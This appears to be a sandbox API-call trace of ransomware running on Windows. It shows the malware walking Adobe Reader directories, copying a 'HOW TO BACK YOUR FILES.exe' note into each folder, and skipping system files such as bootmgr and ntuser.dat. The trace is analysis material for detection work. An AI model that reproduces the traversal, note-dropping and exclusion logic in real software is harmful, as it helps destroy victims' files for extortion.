	[0057.364] lstrlenW (lpString="Adobe-CNS1-5") returned 12
	[0057.364] lstrlenW (lpString="Apollon865") returned 10
	[0057.364] lstrcmpiW (lpString1="obe-CNS1-5", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-B5pc" | out: lpString1="Adobe-CNS1-B5pc") returned="Adobe-CNS1-B5pc"
	[0057.364] lstrlenW (lpString="Adobe-CNS1-B5pc") returned 15
	[0057.364] lstrlenW (lpString="Apollon865") returned 10
	[0057.364] lstrcmpiW (lpString1="-CNS1-B5pc", lpString2="Apollon865") returned 1
	[0057.364] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-ETen-B5" | out: lpString1="Adobe-CNS1-ETen-B5") returned="Adobe-CNS1-ETen-B5"
	[0057.365] lstrlenW (lpString="Adobe-CNS1-ETen-B5") returned 18
	[0057.365] lstrlenW (lpString="Apollon865") returned 10
	[0057.365] lstrcmpiW (lpString1="S1-ETen-B5", lpString2="Apollon865") returned 1
	[0057.365] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-H-CID" | out: lpString1="Adobe-CNS1-H-CID") returned="Adobe-CNS1-H-CID"
	[0057.365] lstrlenW (lpString="Adobe-CNS1-H-CID") returned 16
	[0057.365] lstrlenW (lpString="Apollon865") returned 10
	[0057.365] lstrcmpiW (lpString1="CNS1-H-CID", lpString2="Apollon865") returned 1
	[0057.365] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-H-Host" | out: lpString1="Adobe-CNS1-H-Host") returned="Adobe-CNS1-H-Host"
	[0057.365] lstrlenW (lpString="Adobe-CNS1-H-Host") returned 17
	[0057.365] lstrlenW (lpString="Apollon865") returned 10
	[0057.365] lstrcmpiW (lpString1="NS1-H-Host", lpString2="Apollon865") returned 1
	[0057.365] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-H-Mac" | out: lpString1="Adobe-CNS1-H-Mac") returned="Adobe-CNS1-H-Mac"
	[0057.365] lstrlenW (lpString="Adobe-CNS1-H-Mac") returned 16
	[0057.365] lstrlenW (lpString="Apollon865") returned 10
	[0057.365] lstrcmpiW (lpString1="CNS1-H-Mac", lpString2="Apollon865") returned 1
	[0057.365] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-CNS1-UCS2" | out: lpString1="Adobe-CNS1-UCS2") returned="Adobe-CNS1-UCS2"
	[0057.365] lstrlenW (lpString="Adobe-CNS1-UCS2") returned 15
	[0057.365] lstrlenW (lpString="Apollon865") returned 10
	[0057.365] lstrcmpiW (lpString1="-CNS1-UCS2", lpString2="Apollon865") returned 1
	[0057.365] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-0" | out: lpString1="Adobe-GB1-0") returned="Adobe-GB1-0"
	[0057.365] lstrlenW (lpString="Adobe-GB1-0") returned 11
	[0057.365] lstrlenW (lpString="Apollon865") returned 10
	[0057.365] lstrcmpiW (lpString1="dobe-GB1-0", lpString2="Apollon865") returned 1
	[0057.365] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-1" | out: lpString1="Adobe-GB1-1") returned="Adobe-GB1-1"
	[0057.366] lstrlenW (lpString="Adobe-GB1-1") returned 11
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.366] lstrcmpiW (lpString1="dobe-GB1-1", lpString2="Apollon865") returned 1
	[0057.366] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-2" | out: lpString1="Adobe-GB1-2") returned="Adobe-GB1-2"
	[0057.366] lstrlenW (lpString="Adobe-GB1-2") returned 11
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.366] lstrcmpiW (lpString1="dobe-GB1-2", lpString2="Apollon865") returned 1
	[0057.366] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-3" | out: lpString1="Adobe-GB1-3") returned="Adobe-GB1-3"
	[0057.366] lstrlenW (lpString="Adobe-GB1-3") returned 11
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.366] lstrcmpiW (lpString1="dobe-GB1-3", lpString2="Apollon865") returned 1
	[0057.366] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-4" | out: lpString1="Adobe-GB1-4") returned="Adobe-GB1-4"
	[0057.366] lstrlenW (lpString="Adobe-GB1-4") returned 11
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.366] lstrcmpiW (lpString1="dobe-GB1-4", lpString2="Apollon865") returned 1
	[0057.366] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-5" | out: lpString1="Adobe-GB1-5") returned="Adobe-GB1-5"
	[0057.366] lstrlenW (lpString="Adobe-GB1-5") returned 11
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.366] lstrcmpiW (lpString1="dobe-GB1-5", lpString2="Apollon865") returned 1
	[0057.366] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-GBK-EUC" | out: lpString1="Adobe-GB1-GBK-EUC") returned="Adobe-GB1-GBK-EUC"
	[0057.366] lstrlenW (lpString="Adobe-GB1-GBK-EUC") returned 17
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.366] lstrcmpiW (lpString1="B1-GBK-EUC", lpString2="Apollon865") returned 1
	[0057.366] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-GBpc-EUC" | out: lpString1="Adobe-GB1-GBpc-EUC") returned="Adobe-GB1-GBpc-EUC"
	[0057.366] lstrlenW (lpString="Adobe-GB1-GBpc-EUC") returned 18
	[0057.366] lstrlenW (lpString="Apollon865") returned 10
	[0057.367] lstrcmpiW (lpString1="1-GBpc-EUC", lpString2="Apollon865") returned -1
	[0057.367] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-H-CID" | out: lpString1="Adobe-GB1-H-CID") returned="Adobe-GB1-H-CID"
	[0057.367] lstrlenW (lpString="Adobe-GB1-H-CID") returned 15
	[0057.367] lstrlenW (lpString="Apollon865") returned 10
	[0057.367] lstrcmpiW (lpString1="-GB1-H-CID", lpString2="Apollon865") returned 1
	[0057.368] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-H-Host" | out: lpString1="Adobe-GB1-H-Host") returned="Adobe-GB1-H-Host"
	[0057.368] lstrlenW (lpString="Adobe-GB1-H-Host") returned 16
	[0057.368] lstrlenW (lpString="Apollon865") returned 10
	[0057.368] lstrcmpiW (lpString1="GB1-H-Host", lpString2="Apollon865") returned 1
	[0057.368] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-H-Mac" | out: lpString1="Adobe-GB1-H-Mac") returned="Adobe-GB1-H-Mac"
	[0057.368] lstrlenW (lpString="Adobe-GB1-H-Mac") returned 15
	[0057.368] lstrlenW (lpString="Apollon865") returned 10
	[0057.368] lstrcmpiW (lpString1="-GB1-H-Mac", lpString2="Apollon865") returned 1
	[0057.369] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-GB1-UCS2" | out: lpString1="Adobe-GB1-UCS2") returned="Adobe-GB1-UCS2"
	[0057.369] lstrlenW (lpString="Adobe-GB1-UCS2") returned 14
	[0057.369] lstrlenW (lpString="Apollon865") returned 10
	[0057.369] lstrcmpiW (lpString1="e-GB1-UCS2", lpString2="Apollon865") returned 1
	[0057.369] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-0" | out: lpString1="Adobe-Japan1-0") returned="Adobe-Japan1-0"
	[0057.369] lstrlenW (lpString="Adobe-Japan1-0") returned 14
	[0057.369] lstrlenW (lpString="Apollon865") returned 10
	[0057.369] lstrcmpiW (lpString1="e-Japan1-0", lpString2="Apollon865") returned 1
	[0057.369] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-1" | out: lpString1="Adobe-Japan1-1") returned="Adobe-Japan1-1"
	[0057.369] lstrlenW (lpString="Adobe-Japan1-1") returned 14
	[0057.369] lstrlenW (lpString="Apollon865") returned 10
	[0057.369] lstrcmpiW (lpString1="e-Japan1-1", lpString2="Apollon865") returned 1
	[0057.369] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-2" | out: lpString1="Adobe-Japan1-2") returned="Adobe-Japan1-2"
	[0057.369] lstrlenW (lpString="Adobe-Japan1-2") returned 14
	[0057.369] lstrlenW (lpString="Apollon865") returned 10
	[0057.369] lstrcmpiW (lpString1="e-Japan1-2", lpString2="Apollon865") returned 1
	[0057.369] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-3" | out: lpString1="Adobe-Japan1-3") returned="Adobe-Japan1-3"
	[0057.369] lstrlenW (lpString="Adobe-Japan1-3") returned 14
	[0057.369] lstrlenW (lpString="Apollon865") returned 10
	[0057.369] lstrcmpiW (lpString1="e-Japan1-3", lpString2="Apollon865") returned 1
	[0057.369] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-4" | out: lpString1="Adobe-Japan1-4") returned="Adobe-Japan1-4"
	[0057.369] lstrlenW (lpString="Adobe-Japan1-4") returned 14
	[0057.369] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="e-Japan1-4", lpString2="Apollon865") returned 1
	[0057.370] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-5" | out: lpString1="Adobe-Japan1-5") returned="Adobe-Japan1-5"
	[0057.370] lstrlenW (lpString="Adobe-Japan1-5") returned 14
	[0057.370] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="e-Japan1-5", lpString2="Apollon865") returned 1
	[0057.370] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-6" | out: lpString1="Adobe-Japan1-6") returned="Adobe-Japan1-6"
	[0057.370] lstrlenW (lpString="Adobe-Japan1-6") returned 14
	[0057.370] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="e-Japan1-6", lpString2="Apollon865") returned 1
	[0057.370] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-90ms-RKSJ" | out: lpString1="Adobe-Japan1-90ms-RKSJ") returned="Adobe-Japan1-90ms-RKSJ"
	[0057.370] lstrlenW (lpString="Adobe-Japan1-90ms-RKSJ") returned 22
	[0057.370] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="-90ms-RKSJ", lpString2="Apollon865") returned -1
	[0057.370] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-90pv-RKSJ" | out: lpString1="Adobe-Japan1-90pv-RKSJ") returned="Adobe-Japan1-90pv-RKSJ"
	[0057.370] lstrlenW (lpString="Adobe-Japan1-90pv-RKSJ") returned 22
	[0057.370] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="-90pv-RKSJ", lpString2="Apollon865") returned -1
	[0057.370] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-H-CID" | out: lpString1="Adobe-Japan1-H-CID") returned="Adobe-Japan1-H-CID"
	[0057.370] lstrlenW (lpString="Adobe-Japan1-H-CID") returned 18
	[0057.370] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="pan1-H-CID", lpString2="Apollon865") returned 1
	[0057.370] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-H-Host" | out: lpString1="Adobe-Japan1-H-Host") returned="Adobe-Japan1-H-Host"
	[0057.370] lstrlenW (lpString="Adobe-Japan1-H-Host") returned 19
	[0057.370] lstrlenW (lpString="Apollon865") returned 10
	[0057.370] lstrcmpiW (lpString1="an1-H-Host", lpString2="Apollon865") returned -1
	[0057.371] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-H-Mac" | out: lpString1="Adobe-Japan1-H-Mac") returned="Adobe-Japan1-H-Mac"
	[0057.371] lstrlenW (lpString="Adobe-Japan1-H-Mac") returned 18
	[0057.371] lstrlenW (lpString="Apollon865") returned 10
	[0057.371] lstrcmpiW (lpString1="pan1-H-Mac", lpString2="Apollon865") returned 1
	[0057.371] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Japan1-UCS2" | out: lpString1="Adobe-Japan1-UCS2") returned="Adobe-Japan1-UCS2"
	[0057.371] lstrlenW (lpString="Adobe-Japan1-UCS2") returned 17
	[0057.371] lstrlenW (lpString="Apollon865") returned 10
	[0057.371] lstrcmpiW (lpString1="apan1-UCS2", lpString2="Apollon865") returned -1
	[0057.371] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-0" | out: lpString1="Adobe-Korea1-0") returned="Adobe-Korea1-0"
	[0057.371] lstrlenW (lpString="Adobe-Korea1-0") returned 14
	[0057.371] lstrlenW (lpString="Apollon865") returned 10
	[0057.371] lstrcmpiW (lpString1="e-Korea1-0", lpString2="Apollon865") returned 1
	[0057.371] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-1" | out: lpString1="Adobe-Korea1-1") returned="Adobe-Korea1-1"
	[0057.371] lstrlenW (lpString="Adobe-Korea1-1") returned 14
	[0057.371] lstrlenW (lpString="Apollon865") returned 10
	[0057.371] lstrcmpiW (lpString1="e-Korea1-1", lpString2="Apollon865") returned 1
	[0057.371] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-2" | out: lpString1="Adobe-Korea1-2") returned="Adobe-Korea1-2"
	[0057.371] lstrlenW (lpString="Adobe-Korea1-2") returned 14
	[0057.371] lstrlenW (lpString="Apollon865") returned 10
	[0057.371] lstrcmpiW (lpString1="e-Korea1-2", lpString2="Apollon865") returned 1
	[0057.371] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-H-CID" | out: lpString1="Adobe-Korea1-H-CID") returned="Adobe-Korea1-H-CID"
	[0057.371] lstrlenW (lpString="Adobe-Korea1-H-CID") returned 18
	[0057.371] lstrlenW (lpString="Apollon865") returned 10
	[0057.371] lstrcmpiW (lpString1="rea1-H-CID", lpString2="Apollon865") returned 1
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-H-Host" | out: lpString1="Adobe-Korea1-H-Host") returned="Adobe-Korea1-H-Host"
	[0057.372] lstrlenW (lpString="Adobe-Korea1-H-Host") returned 19
	[0057.372] lstrlenW (lpString="Apollon865") returned 10
	[0057.372] lstrcmpiW (lpString1="ea1-H-Host", lpString2="Apollon865") returned 1
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-H-Mac" | out: lpString1="Adobe-Korea1-H-Mac") returned="Adobe-Korea1-H-Mac"
	[0057.372] lstrlenW (lpString="Adobe-Korea1-H-Mac") returned 18
	[0057.372] lstrlenW (lpString="Apollon865") returned 10
	[0057.372] lstrcmpiW (lpString1="rea1-H-Mac", lpString2="Apollon865") returned 1
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-KSCms-UHC" | out: lpString1="Adobe-Korea1-KSCms-UHC") returned="Adobe-Korea1-KSCms-UHC"
	[0057.372] lstrlenW (lpString="Adobe-Korea1-KSCms-UHC") returned 22
	[0057.372] lstrlenW (lpString="Apollon865") returned 10
	[0057.372] lstrcmpiW (lpString1="-KSCms-UHC", lpString2="Apollon865") returned 1
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-KSCpc-EUC" | out: lpString1="Adobe-Korea1-KSCpc-EUC") returned="Adobe-Korea1-KSCpc-EUC"
	[0057.372] lstrlenW (lpString="Adobe-Korea1-KSCpc-EUC") returned 22
	[0057.372] lstrlenW (lpString="Apollon865") returned 10
	[0057.372] lstrcmpiW (lpString1="-KSCpc-EUC", lpString2="Apollon865") returned 1
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="Adobe-Korea1-UCS2" | out: lpString1="Adobe-Korea1-UCS2") returned="Adobe-Korea1-UCS2"
	[0057.372] lstrlenW (lpString="Adobe-Korea1-UCS2") returned 17
	[0057.372] lstrlenW (lpString="Apollon865") returned 10
	[0057.372] lstrcmpiW (lpString1="orea1-UCS2", lpString2="Apollon865") returned 1
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="B5pc-H" | out: lpString1="B5pc-H") returned="B5pc-H"
	[0057.372] lstrlenW (lpString="B5pc-H") returned 6
	[0057.372] lstrlenW (lpString="Apollon865") returned 10
	[0057.372] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="B5pc-UCS2" | out: lpString1="B5pc-UCS2") returned="B5pc-UCS2"
	[0057.373] lstrlenW (lpString="B5pc-UCS2") returned 9
	[0057.373] lstrlenW (lpString="Apollon865") returned 10
	[0057.373] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="B5pc-UCS2C" | out: lpString1="B5pc-UCS2C") returned="B5pc-UCS2C"
	[0057.373] lstrlenW (lpString="B5pc-UCS2C") returned 10
	[0057.373] lstrlenW (lpString="Apollon865") returned 10
	[0057.373] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="B5pc-V" | out: lpString1="B5pc-V") returned="B5pc-V"
	[0057.373] lstrlenW (lpString="B5pc-V") returned 6
	[0057.373] lstrlenW (lpString="Apollon865") returned 10
	[0057.373] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CNS-EUC-H" | out: lpString1="CNS-EUC-H") returned="CNS-EUC-H"
	[0057.373] lstrlenW (lpString="CNS-EUC-H") returned 9
	[0057.373] lstrlenW (lpString="Apollon865") returned 10
	[0057.373] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="CNS-EUC-V" | out: lpString1="CNS-EUC-V") returned="CNS-EUC-V"
	[0057.373] lstrlenW (lpString="CNS-EUC-V") returned 9
	[0057.373] lstrlenW (lpString="Apollon865") returned 10
	[0057.386] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont"
	[0057.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0057.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7928 | out: hHeap=0x580000) returned 1
	[0057.386] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned 57
	[0057.386] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont"
	[0057.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.394] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.394] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a46f530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a46f530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.394] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.394] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.394] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.394] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a46f530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a46f530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.394] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.394] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.394] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.394] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.394] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="Apollon865.txt.exe") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2=".") returned 1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="..") returned 1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="windows") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="bootmgr") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="temp") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="pagefile.sys") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="boot") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="ids.txt") returned -1
	[0057.394] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="ntuser.dat") returned -1
	[0057.395] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="perflogs") returned -1
	[0057.395] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="MSBuild") returned -1
	[0057.395] lstrlenW (lpString="AdobeFanHeitiStd-Bold.otf") returned 25
	[0057.395] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*") returned 59
	[0057.395] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader"
	[0057.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0057.395] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7908 | out: hHeap=0x580000) returned 1
	[0057.395] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned 47
	[0057.395] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader"
	[0057.395] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.395] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.399] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.399] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a495690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a495690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.399] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.399] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.399] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.399] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a495690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a495690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.399] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.399] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.399] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.399] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.399] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x32398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1
	[0057.399] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="Apollon865.txt.exe") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2=".") returned 1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="..") returned 1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="windows") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="bootmgr") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="temp") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="pagefile.sys") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="boot") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="ids.txt") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="ntuser.dat") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="perflogs") returned -1
	[0057.400] lstrcmpiW (lpString1="A3DUtils.dll", lpString2="MSBuild") returned -1
	[0057.400] lstrlenW (lpString="A3DUtils.dll") returned 12
	[0057.400] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\*") returned 49
